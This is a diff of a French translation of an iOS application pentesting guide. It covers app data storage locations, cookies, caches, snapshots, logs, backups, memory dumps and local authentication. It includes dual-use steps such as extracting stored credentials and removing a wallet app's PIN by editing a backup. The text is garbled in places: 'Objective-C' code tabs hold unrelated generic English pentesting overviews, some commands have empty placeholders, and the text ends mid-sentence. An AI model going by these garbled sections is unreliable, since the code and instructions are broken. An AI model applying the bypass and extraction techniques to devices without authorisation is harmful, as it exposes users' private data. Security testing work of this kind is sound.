Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) est un framework pour gérer la couche modèle des objets dans votre application. [Core Data peut utiliser SQLite comme son magasin persistant](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mais le framework lui-même n'est pas une base de données. CoreData n'encrypte pas ses données par défaut. Cependant, une couche d'encryption supplémentaire peut être ajoutée à CoreData. Consultez le [GitHub Repo](https://github.com/project-imas/encrypted-core-data) pour plus de détails. Vous pouvez trouver les informations SQLite Core Data d'une application dans le chemin `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` @@ -457,7 +454,7 @@ Comme les bases de données Yap sont des bases de données sqlite, vous pouvez l ### Autres bases de données SQLite -Il est courant que les applications créent leur propre base de données sqlite. Elles peuvent **stocker** des **données sensibles** et les laisser non cryptées. Par conséquent, il est toujours intéressant de vérifier chaque base de données à l'intérieur du répertoire des applications. Allez donc dans le répertoire de l'application où les données sont enregistrées (`/private/var/mobile/Containers/Data/Application/{APPID}`). +Il est courant que les applications créent leur propre base de données sqlite. Elles peuvent y stocker des données sensibles et les laisser non chiffrées. Il est donc toujours intéressant de vérifier chaque base de données à l'intérieur du répertoire des applications. Allez donc dans le répertoire de l'application où les données sont enregistrées (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` @@ -475,7 +472,7 @@ Vous pouvez trouver comment vérifier les bases de données Firebase mal configu [Realm Objective-C](https://realm.io/docs/objc/latest/) et [Realm Swift](https://realm.io/docs/swift/latest/) offrent une alternative puissante pour le stockage de données, non fournie par Apple. Par défaut, elles **stockent les données non chiffrées**, avec le chiffrement disponible via une configuration spécifique. -Les bases de données se trouvent à : `/private/var/mobile/Containers/Data/Application/{APPID}`. Pour explorer ces fichiers, on peut utiliser des commandes telles que : +Les bases de données se trouvent à : `/private/var/mobile/Containers/Data/Application/{APPID}`. Pour explorer ces fichiers, on peut utiliser des commandes comme : ```bash iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls default.realm default.realm.lock default.realm.management/ default.realm.note| @@ -498,7 +495,7 @@ fatalError("Error opening realm: \(error)") ``` ### Bases de données Couchbase Lite -[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) est décrit comme un moteur de base de données **léger** et **intégré** qui suit l'approche **orientée document** (NoSQL). Conçu pour être natif d'**iOS** et **macOS**, il offre la capacité de synchroniser les données de manière transparente. +[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) est décrit comme un moteur de base de données **léger** et **intégré** qui suit l'approche **orientée document** (NoSQL). Conçu pour être natif d'**iOS** et de **macOS**, il offre la capacité de synchroniser les données de manière transparente. Pour identifier les bases de données Couchbase potentielles sur un appareil, le répertoire suivant doit être inspecté : ```bash @@ -506,7 +503,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S ``` ### Cookies -iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur du dossier de chaque application. Cependant, les développeurs décident parfois de les sauvegarder dans le **trousseau** car le **fichier de cookies mentionné peut être accédé dans les sauvegardes**. +iOS stocke les cookies des applications dans le fichier **`Library/Cookies/cookies.binarycookies`** à l'intérieur du dossier de chaque application. Cependant, les développeurs décident parfois de les sauvegarder dans le **trousseau** car le **fichier de cookies mentionné peut être accédé dans les sauvegardes**. Pour inspecter le fichier de cookies, vous pouvez utiliser [**ce script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou utiliser la commande **`ios cookies get`** d'objection.\ **Vous pouvez également utiliser objection pour** convertir ces fichiers en format JSON et inspecter les données. @@ -536,22 +533,22 @@ Il est **recommandé de désactiver la mise en cache de ces données**, car elle `URLCache.shared.removeAllCachedResponses()` Cette méthode supprimera toutes les requêtes et réponses mises en cache du fichier Cache.db. -2. Si vous n'avez pas besoin d'utiliser les cookies, il est recommandé d'utiliser simplement la propriété de configuration [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, qui désactivera l'enregistrement des cookies et des caches. +2. Si vous n'avez pas besoin d'utiliser les cookies, il serait recommandé d'utiliser simplement la propriété de configuration [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, qui désactivera l'enregistrement des cookies et des caches. -[Documentation Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): +[Documentation Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) : -`Un objet de configuration de session éphémère est similaire à une configuration de session par défaut (voir default), sauf que l'objet de session correspondant ne stocke pas de caches, de magasins de certificats ou de données liées à la session sur le disque. Au lieu de cela, les données liées à la session sont stockées en RAM. La seule fois où une session éphémère écrit des données sur le disque est lorsque vous lui demandez d'écrire le contenu d'une URL dans un fichier.` +`Un objet de configuration de session éphémère est similaire à un objet de configuration de session par défaut (voir default), sauf que l'objet de session correspondant ne stocke pas de caches, de magasins de certificats ou de données liées à la session sur le disque. Au lieu de cela, les données liées à la session sont stockées en RAM. La seule fois où une session éphémère écrit des données sur le disque est lorsque vous lui demandez d'écrire le contenu d'une URL dans un fichier.` 3. Le cache peut également être désactivé en définissant la politique de cache sur [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Cela désactivera le stockage du cache de quelque manière que ce soit, que ce soit en mémoire ou sur disque. ### Snapshots -Chaque fois que vous appuyez sur le bouton d'accueil, iOS **prend un instantané de l'écran actuel** pour pouvoir effectuer la transition vers l'application de manière beaucoup plus fluide. Cependant, si des **données sensibles** sont présentes à l'écran actuel, elles seront **enregistrées** dans l'**image** (qui **persiste** **à travers** **les redémarrages**). Ce sont les instantanés auxquels vous pouvez également accéder en double-cliquant sur l'écran d'accueil pour basculer entre les applications. +Chaque fois que vous appuyez sur le bouton d'accueil, iOS **prend un instantané de l'écran actuel** pour pouvoir effectuer la transition vers l'application de manière beaucoup plus fluide. Cependant, si des **données sensibles** sont présentes à l'écran actuel, elles seront **enregistrées** dans l'**image** (qui **persiste** **à travers** les **redémarrages**). Ce sont les instantanés auxquels vous pouvez également accéder en double-cliquant sur l'écran d'accueil pour passer d'une application à l'autre. Sauf si l'iPhone est jailbreaké, l'**attaquant** doit avoir **accès** au **dispositif** **débloqué** pour voir ces captures d'écran. Par défaut, le dernier instantané est stocké dans le sandbox de l'application dans le dossier `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (les ordinateurs de confiance ne peuvent pas accéder au système de fichiers à partir de iOS 7.0). -Une façon de prévenir ce mauvais comportement est de mettre un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction `ApplicationDidEnterBackground()`. +Une façon de prévenir ce comportement indésirable est de mettre un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction `ApplicationDidEnterBackground()`. -Voici un exemple de méthode de remédiation qui définira une capture d'écran par défaut. +Voici une méthode de remédiation d'exemple qui définira une capture d'écran par défaut. Swift: ```swift @@ -569,8 +566,6 @@ backgroundImage?.removeFromSuperview() } ``` Objective-C: - -Objective-C : ``` @property (UIImageView *)backgroundImage; @@ -605,14 +600,15 @@ Pour extraire ces informations d'identification stockées, la commande `ios nsur À partir d'iOS 8.0, les utilisateurs peuvent installer des extensions de clavier personnalisées, gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent une fonctionnalité étendue, ils posent un risque de journalisation des frappes et de transmission de données à des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation des claviers personnalisés pour la saisie d'informations sensibles. -**Recommandations de sécurité :** -- Il est conseillé de désactiver les claviers tiers pour une sécurité renforcée. -- Soyez conscient des fonctionnalités de correction automatique et de suggestions automatiques du clavier iOS par défaut, qui pourraient stocker des informations sensibles dans des fichiers cache situés dans `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ces fichiers cache doivent être régulièrement vérifiés pour des données sensibles. Il est recommandé de réinitialiser le dictionnaire du clavier via **Réglages > Général > Réinitialiser > Réinitialiser le dictionnaire du clavier** pour effacer les données mises en cache. -- L'interception du trafic réseau peut révéler si un clavier personnalisé transmet des frappes à distance. +**Recommandations en matière de sécurité :** + +* Il est conseillé de désactiver les claviers tiers pour une sécurité renforcée. +* Soyez conscient des fonctionnalités de correction automatique et de suggestions automatiques du clavier iOS par défaut, qui pourraient stocker des informations sensibles dans des fichiers cache situés dans `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ces fichiers cache doivent être régulièrement vérifiés pour des données sensibles. Il est recommandé de réinitialiser le dictionnaire du clavier via **Réglages > Général > Réinitialiser > Réinitialiser le dictionnaire du clavier** pour effacer les données mises en cache. +* L'interception du trafic réseau peut révéler si un clavier personnalisé transmet des frappes à distance. ### **Prévention de la mise en cache des champs de texte** -Le protocole [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre des propriétés pour gérer la correction automatique et la saisie de texte sécurisée, essentielles pour prévenir la mise en cache d'informations sensibles. Par exemple, la désactivation de la correction automatique et l'activation de la saisie de texte sécurisée peuvent être réalisées avec : +Le [protocole UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre des propriétés pour gérer la correction automatique et la saisie de texte sécurisée, essentielles pour prévenir la mise en cache d'informations sensibles. Par exemple, la désactivation de la correction automatique et l'activation de la saisie de texte sécurisée peuvent être réalisées avec : ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; @@ -626,7 +622,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo; Le débogage du code implique souvent l'utilisation de **journaux**. Il y a un risque car les **journaux peuvent contenir des informations sensibles**. Auparavant, dans iOS 6 et les versions antérieures, les journaux étaient accessibles à toutes les applications, posant un risque de fuite de données sensibles. **Maintenant, les applications sont limitées à l'accès uniquement à leurs journaux**. -Malgré ces restrictions, un **attaquant ayant un accès physique** à un appareil déverrouillé peut toujours exploiter cela en connectant l'appareil à un ordinateur et **en lisant les journaux**. Il est important de noter que les journaux restent sur le disque même après la désinstallation de l'application. +Malgré ces restrictions, un **attaquant ayant un accès physique** à un appareil déverrouillé peut toujours exploiter cela en connectant l'appareil à un ordinateur et en **lisant les journaux**. Il est important de noter que les journaux restent sur le disque même après la désinstallation de l'application. Pour atténuer les risques, il est conseillé d'**interagir pleinement avec l'application**, en explorant toutes ses fonctionnalités et ses entrées pour s'assurer qu'aucune information sensible n'est enregistrée involontairement. @@ -656,21 +652,21 @@ Suivi des commandes pour observer les activités de journal, qui peuvent être i *** -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Obtenez l'accès aujourd'hui : +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Sauvegardes -Les fonctionnalités de **sauvegarde automatique** sont intégrées à iOS, facilitant la création de copies de données de l'appareil via iTunes (jusqu'à macOS Catalina), Finder (à partir de macOS Catalina) ou iCloud. Ces sauvegardes englobent presque toutes les données de l'appareil, à l'exception d'éléments hautement sensibles tels que les détails d'Apple Pay et les configurations Touch ID. +Les fonctionnalités de **sauvegarde automatique** sont intégrées à iOS, facilitant la création de copies des données de l'appareil via iTunes (jusqu'à macOS Catalina), Finder (à partir de macOS Catalina) ou iCloud. Ces sauvegardes englobent presque toutes les données de l'appareil, à l'exception d'éléments hautement sensibles tels que les détails d'Apple Pay et les configurations Touch ID. ### Risques de sécurité -L'inclusion des **applications installées et de leurs données** dans les sauvegardes soulève la question d'une **fuite de données** potentielle et du risque que des **modifications de sauvegarde puissent altérer la fonctionnalité de l'application**. Il est conseillé de **ne pas stocker d'informations sensibles en texte clair** dans le répertoire d'une application ou ses sous-répertoires pour atténuer ces risques. +L'inclusion des **applications installées et de leurs données** dans les sauvegardes soulève la question d'une **fuite de données potentielle** et du risque que les **modifications de sauvegarde puissent altérer la fonctionnalité des applications**. Il est conseillé de **ne pas stocker d'informations sensibles en texte brut** dans le répertoire d'une application ou ses sous-répertoires pour atténuer ces risques. ### Exclusion de fichiers des sauvegardes @@ -678,7 +674,7 @@ Les fichiers dans `Documents/` et `Library/Application Support/` sont sauvegard ### Test des vulnérabilités -Pour évaluer la sécurité de la sauvegarde d'une application, commencez par **créer une sauvegarde** en utilisant Finder, puis localisez-la en suivant les instructions de la [documentation officielle d'Apple](https://support.apple.com/en-us/HT204215). Analysez la sauvegarde pour y repérer des données sensibles ou des configurations qui pourraient être modifiées pour affecter le comportement de l'application. +Pour évaluer la sécurité de la sauvegarde d'une application, commencez par **créer une sauvegarde** en utilisant Finder, puis localisez-la en suivant les instructions de la [documentation officielle d'Apple](https://support.apple.com/en-us/HT204215). Analysez la sauvegarde à la recherche de données sensibles ou de configurations qui pourraient être modifiées pour affecter le comportement de l'application. Les informations sensibles peuvent être recherchées à l'aide d'outils en ligne de commande ou d'applications comme [iMazing](https://imazing.com). Pour les sauvegardes chiffrées, la présence de chiffrement peut être confirmée en vérifiant la clé "IsEncrypted" dans le fichier "Manifest.plist" à la racine de la sauvegarde. ```xml @@ -693,21 +689,21 @@ Les informations sensibles peuvent être recherchées à l'aide d'outils en lign ... ``` -Pour traiter les sauvegardes chiffrées, les scripts Python disponibles dans le [dépôt GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), tels que **backup_tool.py** et **backup_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans les sauvegardes protégées par mot de passe. +Pour traiter les sauvegardes chiffrées, les scripts Python disponibles dans le [dépôt GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), tels que **backup\_tool.py** et **backup\_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans les sauvegardes protégées par mot de passe. -### Modification du Comportement de l'Application +### Modification du comportement de l'application -Un exemple de modification du comportement de l'application via des modifications de sauvegarde est démontré dans l'application de portefeuille bitcoin Bither (https://github.com/bither/bither-ios), où le code PIN de verrouillage de l'interface utilisateur est stocké dans `net.bither.plist` sous la clé **pin_code**. En supprimant cette clé du plist et en restaurant la sauvegarde, l'exigence du code PIN est supprimée, offrant un accès illimité. +Un exemple de modification du comportement de l'application par des modifications de sauvegarde est démontré dans l'application de portefeuille bitcoin Bither (https://github.com/bither/bither-ios), où le code PIN de verrouillage de l'interface utilisateur est stocké dans `net.bither.plist` sous la clé **pin\_code**. En supprimant cette clé du plist et en restaurant la sauvegarde, l'exigence du code PIN est supprimée, offrant un accès illimité. -## Résumé sur les Tests de Mémoire pour les Données Sensibles +## Résumé sur les tests de mémoire pour les données sensibles -Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un vidage de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, y compris le risque de manquer des données critiques lors du processus de vidage ou d'analyse. +Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un vidage de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, y compris la possibilité de manquer des données critiques lors du processus de vidage ou d'analyse. -## **Récupération et Analyse d'un Vidage de Mémoire** +## **Récupération et analyse d'un vidage de mémoire** Pour les appareils jailbreakés et non jailbreakés, des outils tels que [objection](https://github.com/sensepost/objection) et [Fridump](https://github.com/Nightbringer21/fridump) permettent de faire un vidage de la mémoire du processus d'une application. Une fois le vidage effectué, l'analyse de ces données nécessite divers outils, en fonction de la nature des informations recherchées. -Pour extraire des chaînes de caractères d'un vidage de mémoire, des commandes telles que `strings` ou `rabin2 -zz` peuvent être utilisées : +Pour extraire des chaînes d'un vidage de mémoire, des commandes telles que `strings` ou `rabin2 -zz` peuvent être utilisées : ```bash # Extracting strings using strings command $ strings memory > strings.txt @@ -728,19 +724,19 @@ $ r2 $ r2 frida://usb// [0x00000000]> /\ ``` -## Cryptographie défaillante +## Cryptographie Défaillante -### Processus de gestion de clés médiocres +### Processus de Gestion de Clés Médiocres -Certains développeurs enregistrent des données sensibles dans le stockage local et les cryptent avec une clé codée/prévisible dans le code. Cela ne devrait pas être fait car une rétro-ingénierie pourrait permettre aux attaquants d'extraire les informations confidentielles. +Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé codée/prévisible dans le code. Ceci ne devrait pas être fait car une rétro-ingénierie pourrait permettre aux attaquants d'extraire les informations confidentielles. -### Utilisation d'algorithmes non sécurisés et/ou obsolètes +### Utilisation d'Algorithmes Insécurisés et/ou Obsolètes -Les développeurs ne devraient pas utiliser d'**algorithmes obsolètes** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des **hashes résistants** aux attaques par force brute devraient être utilisés avec du sel. +Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des **hashes résistants** aux attaques par force brute devraient être utilisés avec du sel. ### Vérification -Les principales vérifications à effectuer consistent à rechercher des mots de passe/secrets **codés en dur** dans le code, ou s'ils sont **prévisibles**, et si le code utilise une sorte d'algorithmes de **cryptographie** **faibles**. +Les principales vérifications à effectuer consistent à rechercher des mots de passe/secrets **codés en dur** dans le code, ou si ceux-ci sont **prévisibles**, et si le code utilise des algorithmes de **cryptographie** **faibles**. Il est intéressant de savoir que vous pouvez **surveiller** automatiquement certaines **bibliothèques de cryptographie** en utilisant **objection** avec : ```swift @@ -752,31 +748,33 @@ Pour **plus d'informations** sur les API et bibliothèques cryptographiques iOS, L'**authentification locale** joue un rôle crucial, surtout lorsqu'il s'agit de protéger l'accès à un point d'extrémité distant à travers des méthodes cryptographiques. L'essence ici est qu'une implémentation correcte est essentielle, sinon les mécanismes d'authentification locale peuvent être contournés. -Le **[framework d'authentification locale d'Apple](https://developer.apple.com/documentation/localauthentication)** et le **[trousseau](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)** fournissent des API robustes aux développeurs pour faciliter les dialogues d'authentification utilisateur et gérer de manière sécurisée des données secrètes, respectivement. L'Enclave sécurisée sécurise l'empreinte digitale pour Touch ID, tandis que Face ID repose sur la reconnaissance faciale sans compromettre les données biométriques. +Le [**framework d'authentification locale d'Apple**](https://developer.apple.com/documentation/localauthentication) et le [**trousseau**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fournissent des API robustes aux développeurs pour faciliter les dialogues d'authentification utilisateur et gérer de manière sécurisée des données secrètes, respectivement. L'Enclave sécurisée sécurise l'empreinte digitale pour Touch ID, tandis que Face ID repose sur la reconnaissance faciale sans compromettre les données biométriques. Pour intégrer Touch ID/Face ID, les développeurs ont deux choix d'API : -- **`LocalAuthentication.framework`** pour une authentification utilisateur de haut niveau sans accès aux données biométriques. -- **`Security.framework`** pour un accès aux services de trousseau de bas niveau, sécurisant les données secrètes avec une authentification biométrique. Divers [enveloppes open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) rendent l'accès au trousseau plus simple. + +* **`LocalAuthentication.framework`** pour une authentification utilisateur de haut niveau sans accès aux données biométriques. +* **`Security.framework`** pour un accès aux services de trousseau de bas niveau, sécurisant les données secrètes avec une authentification biométrique. Divers [enveloppes open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) rendent l'accès au trousseau plus simple. {% hint style="danger" %} -Cependant, à la fois `LocalAuthentication.framework` et `Security.framework` présentent des vulnérabilités, car ils retournent principalement des valeurs booléennes sans transmettre de données pour les processus d'authentification, les rendant susceptibles d'être contournés (voir [Ne me touchez pas de cette façon, par David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +Cependant, à la fois `LocalAuthentication.framework` et `Security.framework` présentent des vulnérabilités, car ils renvoient principalement des valeurs booléennes sans transmettre de données pour les processus d'authentification, les rendant ainsi susceptibles d'être contournés (voir [Ne me touchez pas de cette façon, par David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). {% endhint %} ### Implémentation de l'authentification locale Pour demander aux utilisateurs une authentification, les développeurs devraient utiliser la méthode **`evaluatePolicy`** au sein de la classe **`LAContext`**, en choisissant entre : -- **`deviceOwnerAuthentication`** : Demande l'empreinte digitale ou le code d'accès de l'appareil, échouant si aucun des deux n'est activé. -- **`deviceOwnerAuthenticationWithBiometrics`** : Demande exclusivement l'empreinte digitale. + +* **`deviceOwnerAuthentication`** : Demande l'empreinte digitale ou le code d'accès de l'appareil, échouant si aucun des deux n'est activé. +* **`deviceOwnerAuthenticationWithBiometrics`** : Demande exclusivement l'empreinte digitale. Une authentification réussie est indiquée par une valeur de retour booléenne de **`evaluatePolicy`**, mettant en évidence une faille de sécurité potentielle. ### Authentification locale en utilisant le trousseau -Implémenter l'**authentification locale** dans les applications iOS implique l'utilisation des **API du trousseau** pour stocker de manière sécurisée des données secrètes telles que des jetons d'authentification. Ce processus garantit que les données ne peuvent être accessibles que par l'utilisateur, en utilisant son code d'accès de l'appareil ou une authentification biométrique comme Touch ID. +L'implémentation de l'**authentification locale** dans les applications iOS implique l'utilisation des **API de trousseau** pour stocker de manière sécurisée des données secrètes telles que des jetons d'authentification. Ce processus garantit que les données ne peuvent être accessibles que par l'utilisateur, en utilisant son code d'accès de l'appareil ou une authentification biométrique comme Touch ID. Le trousseau offre la possibilité de définir des éléments avec l'attribut `SecAccessControl`, qui restreint l'accès à l'élément jusqu'à ce que l'utilisateur s'authentifie avec succès via Touch ID ou le code d'accès de l'appareil. Cette fonctionnalité est cruciale pour renforcer la sécurité. -Ci-dessous se trouvent des exemples de code en Swift et en Objective-C démontrant comment enregistrer et récupérer une chaîne dans/depuis le trousseau, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d'accès pour exiger une authentification Touch ID et garantir que les données ne sont accessibles que sur l'appareil où elles ont été configurées, à condition qu'un code d'accès de l'appareil soit configuré. +Voici des exemples de code en Swift et en Objective-C démontrant comment enregistrer et récupérer une chaîne dans/depuis le trousseau, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d'accès pour exiger une authentification Touch ID et garantir que les données ne sont accessibles que sur l'appareil où elles ont été configurées, à condition qu'un code d'accès de l'appareil soit configuré. {% tabs %} {% tab title="Swift" %} @@ -818,53 +816,89 @@ if status == noErr { ``` {% endtab %} -{% tab title="Objective-C" %} +{% tab title="Objective-C" %} -### iOS Application Pentesting +### iOS Pentesting -#### Setting up the Environment +#### iOS Application Security Testing -To start iOS application pentesting, you need a macOS machine with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with all the necessary tools for iOS pentesting. +1. **Static Analysis** + - Use tools like `Hopper`, `class-dump`, `otool`, `strings`, and `IDA Pro` to disassemble and analyze the application code. + - Look for sensitive information, hardcoded credentials, API keys, and other vulnerabilities. -#### Jailbreaking the Device +2. **Dynamic Analysis** + - Use tools like `Cycript`, `Frida`, and `LLDB` to perform runtime analysis. + - Intercept network traffic using tools like `Burp Suite` or `Charles Proxy`. + - Manipulate application behavior to identify security issues. -Jailbreaking an iOS device is often required for in-depth testing during iOS application pentesting. Tools like Checkra1n and Unc0ver can be used to jailbreak iOS devices. +3. **Runtime Manipulation** + - Use runtime manipulation tools like `Cycript` and `Frida` to modify the application behavior at runtime. + - Bypass jailbreak detection mechanisms to access restricted functionality. -#### Static Analysis +4. **Data Storage** + - Analyze how sensitive data is stored on the device. + - Look for insecure storage mechanisms like storing sensitive data in `NSUserDefaults` or `SQLite` databases. -Static analysis involves examining the application's code without executing it. Tools like Hopper Disassembler and IDA Pro can be used for static analysis of iOS applications. +5. **Reverse Engineering** + - Reverse engineer the application to understand its logic and algorithms. + - Identify security controls and weaknesses that can be exploited. -#### Dynamic Analysis +6. **Client-Side Injection** + - Look for client-side injection vulnerabilities like `SQL injection`, `JavaScript injection`, and `HTML injection`. + - Exploit these vulnerabilities to manipulate the application's behavior. -Dynamic analysis involves analyzing the application's behavior while it is running. Tools like Frida and Cycript can be used for dynamic analysis of iOS applications. +7. **Transport Layer Security** + - Check for proper implementation of `TLS/SSL` to secure network communications. + - Look for insecure network configurations that could lead to man-in-the-middle attacks. -#### Network Traffic Analysis +8. **Authentication and Authorization** + - Test the application's authentication and authorization mechanisms. + - Look for weaknesses like weak password policies, lack of multi-factor authentication, and insecure session management. -Analyzing the network traffic generated by the iOS application can reveal potential security vulnerabilities. Tools like Burp Suite and Charles Proxy can be used for network traffic analysis. +9. **Third-Party Libraries** + - Identify and analyze third-party libraries used in the application. + - Check for known vulnerabilities in these libraries that could pose a risk to the application's security. -#### Runtime Manipulation +10. **Binary Protections** + - Analyze the application binary for protections like `ASLR`, `DEP`, and `code signing`. + - Attempt to bypass these protections to exploit vulnerabilities in the application. -Runtime manipulation involves modifying the application's behavior while it is running. Tools like Frida and Cycript can be used for runtime manipulation of iOS applications. +11. **Secure Coding Practices** + - Evaluate the application's code for secure coding practices. + - Look for common vulnerabilities like buffer overflows, format string vulnerabilities, and integer overflows. -#### Data Storage Analysis +12. **Reporting** + - Document all findings and vulnerabilities discovered during the assessment. + - Provide recommendations for improving the application's security posture. -Analyzing how sensitive data is stored on the device can help identify security issues. Tools like iExplorer and iFunBox can be used for data storage analysis of iOS applications. +### Tools for iOS Pentesting -#### Reverse Engineering +- **Static Analysis Tools** + - Hopper + - class-dump + - otool + - strings + - IDA Pro -Reverse engineering involves decompiling the application to understand its inner workings. Tools like class-dump and Hopper Disassembler can be used for reverse engineering iOS applications. +- **Dynamic Analysis Tools** + - Cycript + - Frida + - LLDB + - Burp Suite + - Charles Proxy -#### Exploiting Security Vulnerabilities +- **Other Tools** + - Jailbreak tools (e.g., checkra1n, unc0ver) + - SSL Kill Switch + - Objection + - Needle + - Introspy-iOS -Identifying and exploiting security vulnerabilities is a crucial part of iOS application pentesting. Tools like Metasploit and custom scripts can be used for exploiting security vulnerabilities in iOS applications. +### References -#### Reporting - -After completing the pentesting process, a detailed report outlining the findings and recommendations should be prepared. The report should include details of vulnerabilities found and steps to reproduce them. - -#### Conclusion - -iOS application pentesting is a complex process that requires a combination of technical skills and tools. By following the steps outlined above, security professionals can effectively assess the security posture of iOS applications and help mitigate potential risks. +- [iOS Application Security Testing Guide](https://owasp.org/www-project-mobile-top-10/) +- [iOS Security Testing Guide](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/) +- [iOS Hacker's Handbook](https://www.wiley.com/en-us/iOS+Hacker%27s+Handbook-p-9781118204122) {% endtab %} ```objectivec @@ -924,47 +958,51 @@ let password = String(data: queryResult as! Data, encoding: .utf8)! {% tab title="Objective-C" %} -### iOS Pentesting +## Analyzing iOS Applications -#### Setting up the Environment +### Static Analysis -To start iOS pentesting, you need a macOS machine with Xcode installed. Xcode is the official IDE for developing iOS applications and includes all the necessary tools for iOS pentesting. +#### Class-Dump-Z -#### Device Preparation +Class-Dump-Z is a tool used to list the classes in a Mach-O file. It can be used to analyze the classes and methods in an iOS application. -You can use a physical iOS device or an emulator like the iOS Simulator provided by Xcode for testing. Make sure the device is connected to the macOS machine. +To use Class-Dump-Z, you can run the following command: -#### Tools for iOS Pentesting +```bash +class-dump-z +``` -There are various tools available for iOS pentesting, such as: +Replace `` with the path to the binary file of the iOS application you want to analyze. -- **Burp Suite**: A popular tool for intercepting and modifying network traffic. -- **MobSF**: Mobile Security Framework for automated security analysis of iOS and Android applications. -- **Needle**: An open-source modular framework to streamline the process of conducting security assessments of iOS apps. +### Dynamic Analysis -#### Jailbreaking +#### Cycript -In some cases, jailbreaking the iOS device may be necessary to perform certain security tests that require access to system files and settings not normally accessible. +Cycript is a powerful runtime manipulation tool for iOS applications. It allows you to interact with and modify running applications dynamically. -#### Security Testing +To use Cycript, you can attach it to a running process using the following command: -During iOS pentesting, common security tests include: +```bash +cycript -p +``` -- **Static Analysis**: Reviewing the source code for vulnerabilities. -- **Dynamic Analysis**: Analyzing the behavior of the application while running. -- **Network Traffic Analysis**: Inspecting data sent and received by the application. +Replace `` with the process ID of the iOS application you want to analyze. -#### Reporting +### Network Traffic Analysis -After conducting security tests, it is essential to document findings and create a detailed report outlining vulnerabilities and recommendations for mitigation. +#### Burp Suite -#### Legal Considerations +Burp Suite is a popular tool for intercepting and analyzing network traffic. You can configure your iOS device to route its traffic through Burp Suite and analyze the network requests made by the iOS application. -Ensure that you have proper authorization before conducting iOS pentesting to avoid legal implications. +### File System Analysis -#### Conclusion +#### iFunBox -iOS pentesting involves thorough testing of iOS applications to identify and address security vulnerabilities, ultimately enhancing the overall security posture of the applications. +iFunBox is a file management tool for iOS devices. You can 